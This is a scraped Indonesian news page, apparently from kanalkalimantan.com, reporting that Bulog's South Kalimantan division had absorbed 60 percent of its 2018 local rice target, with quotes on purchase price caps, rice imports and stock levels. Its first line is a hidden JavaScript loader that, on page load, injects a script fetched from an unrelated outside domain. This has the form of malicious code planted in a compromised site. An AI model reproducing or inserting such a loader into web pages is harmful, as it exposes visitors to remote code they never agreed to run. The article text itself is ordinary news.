(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pekerja melakukan bongkar muat karung berisi beras untuk rakyat miskin (Raskin) untuk didistribusikan, di Kantor Kelurahan Manahan, Solo, Jawa Tengah, Selasa (10/11). Pemerintah melalui Perusahaan Umum Badan Urusan Logistik (Perum Bulog) Jateng Sub Divisi Regional (Subdivre) III Solo mulai menyalurkan beras untuk rakyat miskin ke-13 dan ke-14 dalam rangka memenuhi kebutuhan masyarakat, sehingga diharapkan bisa membuat masyarakat tenang dan meredam gejolak harga pasar. ANTARAFOTO/Maulana Surya/ama/15.
BANJARMASIN, Penyerapan beras di Bulog Divre Kalsel hingga akhir Oktober 2018 ini baru tercapai 60 persen. Diharapkan, hingga sisa dua bulan jelang tutup tahun penyerapan beras bisa tercapai hingga 80-100 persen.
Hal ini disampaikan Kepala Bulog Divre Kalsel Awaludin Iqbal menyikapi kondisi pasokan beras masyarakat. “Kami harapkan 100 persen bisa terserap. Tapi kalau tidak bisa tercapai, ya 80 persen masih bisa dikejar,” terangnya.
Jika melihat data September, serapan beras dari petani lokal oleh Bulog di Banua baru mencapai 50 persen dari 22.000 ton yang ditargetkan. Sehingga dalam satu bulan ini, baru ada peningkatan sebesar 10 persen.
“Berkaca pada data beberapa tahun lalu, memang biasanya penyerapan beras petani lokal yang paling besar ada di tiga bulan sebelum tutup tahun. Karena itulah kita masih optimis penyerapan beras lokal masih bisa dikejar sesuai target,†katanya.
Ada pun harga beras yang di Bulog dari para petani lokal maksimal diangka Rp 80.30 perkilonya. Angka ini menurutnya sudah cukup baik dalam membantu untuk ikut mensejahterakan para petani lokal yang ada di Banua.
“Kita siap membeli berapa pun beras lokal yang dijual petani kepada Bulog selama harganya tidak lebih pada Rp 80.30 perkilonya. Kalau lebih dari itu kami tentunya tidak bisa, mengingat masalah standar pembelian harga Bulog sudah diatur oleh pemerintah,†tambahnya.
Terkait kebijakan Pemerintah yang menyuplai beras impor untuk kebutuhan nasional, dirinya menegaskan tidak akan berpengaruh terhadap pengurangan penyerapan beras lokal oleh Bulog dari para petani.
“Itu beras impor hanya untuk cadangan saja jika memang diperlukan dan tidak ada hubungannya dengan berkurangnya target beras petani yang diserap Bulog. Jadi para petani saya harapkan untuk tidak khawatir,†tegasnya.
Bulog Kalsel juga selalu melakukan monitoring dan koordinasi tentang harga beras maupun sembako di pasaran. Menurut hasil pantauan Awaludin, saat ini stok di masyarakat masih cukup. Demikian juga harga masih menunjukkan kondisi yang stabil di lapangan.
“Jika beras ukurannya dari Bulog sangat aman hingga tahun depan. Beras dari kami kuat baik kebutuhan rutin, tapi kami bisa melakukan operasi pasar kalau sepanjang memang diperlukan,” ungkapnya.
Sementara terkait pasokan daging, Awaludin juga mengatakan masih cukup. “Stok tersedia sekarang sekitar 9 ton. Cukup untuk tiga sampai empat minggu ke depan,” terangnya. (cel)
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.